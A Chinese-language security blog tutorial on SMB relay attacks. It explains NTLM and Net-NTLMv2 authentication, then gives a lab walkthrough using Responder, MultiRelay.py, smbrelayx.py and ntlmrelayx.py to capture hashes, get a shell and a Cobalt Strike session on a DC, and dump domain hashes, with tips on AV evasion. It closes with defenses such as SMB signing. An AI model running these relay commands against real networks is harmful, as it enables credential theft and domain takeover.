浅析SMB relay攻击手法

  • A+

浅析SMB relay攻击手法

对于前些日子爆出的“永恒之黑”—— CVE-2020-0796,想必大家都已经了解了,它是一个微软 SMB 远程代码执行漏洞,危害不亚于永恒之蓝。鉴此,本篇文章介绍一下一些 SMB 中继的常规攻击手法,慢慢呈现给大家。

0x00 SMB服务

先来了解一下什么是 SMB 服务,SMB(Server Message Block)是一个协议名称,用它可以共享计算机之间的文件、打印机、串口等,通过 SMB 也可以远程访问服务器端的文件、打印机等共享资源。

SMB协议可以为局域网用户提供相关的功能和机制,来保证传输的可靠性。局域网中90%的数据包以及95%的字节是通过SMB协议进行传输,这是为了解决网络的稳定性和数据流在共享带宽时的公平性、拥塞控制及效率等问题。

————来源百度百科

总之 SMB 服务可以为局域网用户提供相关功能和机制,来保证传输可靠性。

一路走来 SMB 有三代,从 SMBv1 到 SMBv2 再到现在的 SMBv3 ,实际上越来越安全了。 (CVE-2020-0796针对的是SMB3.1.1)

0x01 NTLM hash

然后简单介绍一下 NTLM hash,我们知道 Windows 下的密码被加密保存在 SAM (Security Accout Manager)文件中,域控在 NTDS.dit,不可进行修改或是移动;NTLM hash 就是里面保存用户密码的 hash

生成方法分为三步:

1.将明文口令转为十六进制
2.转换成 Unicode 格式
3.进行 MD4 加密

得到了最后的32为十六进制数字串

0x001 LM hash 和 NTLM hash

可以看作 NTLM hash 是 LM hash 的升级,但是他们是两种不同的加密方式,LM hash 的安全性较差,易被破解,现在很少在使用了,故关于 LM hash 在此不多赘述。

0x002 NTLMv1 hash 和 NTLMv2 hash

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,从 Windows Vista 和 Server 2008 开始,系统是默认禁用 NTLMv1 的,而是用的是 NTLMv2,NTLMv1 相对 NTLMv2 更脆弱,因为服务端的挑战码是 8 位的,而 NTLMv2 协议的挑战码是 16 位的,稍后会讲到。

0x003 NTLM hash 和 Net-NTLM hash

Net-NTLM hash 即指的是网络环境下 NTLM 认证的 hash,故也分为 Net-NTLMv1 hash, Net-NTLMv2 hash

0x004 Net-NTLM(v2) 认证流程

1.客户端向服务器发送登录请求,密码在客户端被 hash 一次
2.客户端向服务器发送 username
3.服务器返回一个 16 字节的挑战码(Challenge),并将已存储的用户密码 hash 加密这个 Challenge,生成 Challenge1
4.客户端将第一步 hash 的密码与 Challenge 再进行 hash 一次,生成 response 即 Challenge2
5.客户端将 response 发送给服务器
6.服务器比较 Challenge1 和 response,相同则认证成功

2.jpg

0x02 SMB中继攻击(SMB relay attack)原理

了解了 Net-NTLM 认证流程,再来分析 SMB 中继攻击原理就明了多了,攻击者充当了一个第三人,截获流量,重放流量

1.jpg

0x03 攻击演示

Kali (Attacker) 192.168.1.128
win10 (Client) 192.168.1.9
win7 (Client) 192.168.1.10
win08 R2(DC) 192.168.1.8

0x001 初始访问

首先从最简单的一个场景来演示,进行最简单的中继拿hash
开启 Responder 准备嗅探

responder -I eth0(默认网卡)

image.png

192.168.1.9 机器上访问共享

image.png

可能弹出一个访问凭据,之后我们看到responder已经嗅探到了NTLMv2 hash

image.png

0x002 MultiRelayx.py拿下shell

下面我们利用Impacket套件中的MultiRelay.py脚本进行中继攻击

在此之前先用responder工具包里面的RunFinger.py脚本进行扫描(nmap皆可)来查看域内机器SMB签名的开放情况

image.png

我们发现 SMB 签名都已禁用了,接下来开始 Hack

python MultiRelay.py -t <ip> -u ALL

image.png

现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下 Responder.conf 脚 本,不让其对 hash 进行抓取

vim Responder.conf

image.png

image.png

:wq保存并退出

重启 Responder.py,准备毒化

python Responder.py -I eth0

image.png

此时我们在DC上传递一个SMB流量,随便什么都可以

image.png

我们看到已经拿到了 shell ,那么操作空间就大了很多,比如 Mimikatz 导出密码等,或者是横向移动,在此只是演示中继手法,大家可以自行拓展。

image.png

0x003 smbrelayx.py 中继攻击

还是Impacket中的脚本,我们浅析一下原理:

伪造一个我们恶意的SMB服务器,当内网中有机器访问这个我们精心构造好的SMB服务器时, smbrelayx.py 将抓到 Client1 的 hash ,然后 smbrelayx.py 用抓取到的 Client1 的 hash 重 放给 Client2 ,重放成功则会导出 Client2 本地的用户和 hash

image.png

开始实战,首先还是先关闭 responder.conf 中的 SMB 和 http ,让 smbrelayx.py 脚本来完成任务,这里我提前生成了一个 CS 的 payload (当然免杀需自行处理),不要 shell 的话完全可以省略 payload ,直接:

./smbrelayx.py -h <Client2 ip>
之后 在 192.168.1.10 命令行下键入

net use \192.168.1.128c$

来访问我们的恶意SMB服务器,此时看到已经成功

(这里面有个坑,某位师傅已经讲的很明白了,smbrelayx.py 走的是NTLM协议,命令行执行 dir 192.168.1.128c$ 则不会出现登陆提示,SMB协议中,客户端连接服务端时,默认先使 用本机的用户名和 hash 尝试登陆)

image.png

至此,CS 看到已成功上线

image.png

0x004 ntlmrelayx.py中继

还是 Impcaket examples 中的脚本,ntlmrelayx.py 直接用现有的 hash 去尝试重放指定机器 上的指定服务(需同样关闭 responder 的 smb 和 http)
python ntlmrelayx.py -t <Client ip>

image.png

接着用DC传递SMB流量,已成功抓取域中所有用户的 hash

image.png

也可以用 Empire/CS 等生成 powershell payload ,然后输入
python ntlmrelayx.py -t <ip> -c “<payload>”
开启中继,提供恶意流量,即可拿到会话和 hash

几个中继脚本皆可托管生成的 payload ,篇幅有限,作者不一一展示了,很重要的一点就是免杀处理。

Ntlmrelayx.py 是一个非常强大的工具,它具有中继各种协议的功能,它能接受多个目标,遍 历每个目标来查找需要进行身份验证的系统。自带 SMB 和 HTTP 服务器,比如可以将 NTLM 中继到 SMB,HTTP,LDAP,IMAP,MSSQL 等,关于 Ntlmrelayx.py 的使用在这里不再赘 述,以后有机会会出文章单独分析中继每个模块的方法。

0x04 防护措施

1.SMB中继为滥用NTLM身份验证协议,所以干脆利落,完全禁用NTLM,切换到相对安全的 Kerberos,当然缺点也很明显,相对旧的操作系统不支持Kerberos身份验证。

2.启用SMB签名,SMB签名将通过对所有流量进行签名来防止中继到SMB,由于签名需要用户密码来验证消息,而攻击者没有受害者的密码,因此中继攻击者无法发送服务器将接收的任何流量,相对更安全。

0x05 总结

介绍了几个比较常规的 SMB 中继攻击的方法,当然这只是冰山一角,刚才也说过,SMB中继只是滥用NTLM身份验证协议的一部分,具体还有很多姿势或者其他中继,这里就不再讲了。想要深入理解 SMB 协议,可以尝试利用 Wireshark 进行抓包,还原Challenge,LM hash 等,这对协议的理解会更有帮助。抓到的 hash 可以用 hashcat 破解或者在线破解都可。

切勿用于非法用途

相关推荐: 代码审计 PHP基础(一)

标签格式 ``` <?php phpcode ?>    标准格式 <? phpcode ?> 短标签格式 <% phpcode %> ASP风格--配置文件php.ini中的asp_tags=On开启 <script…